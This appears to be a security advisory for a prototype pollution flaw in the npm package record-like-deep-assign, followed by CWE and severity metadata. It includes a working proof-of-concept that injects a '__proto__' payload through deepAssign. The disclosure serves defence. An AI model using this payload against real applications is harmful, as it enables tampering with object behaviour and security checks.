All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);
{
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"nvd_published_at": "2021-07-02T16:15:00Z",
"github_reviewed_at": "2021-07-06T14:32:33Z",
"github_reviewed": true,
"severity": "HIGH"
}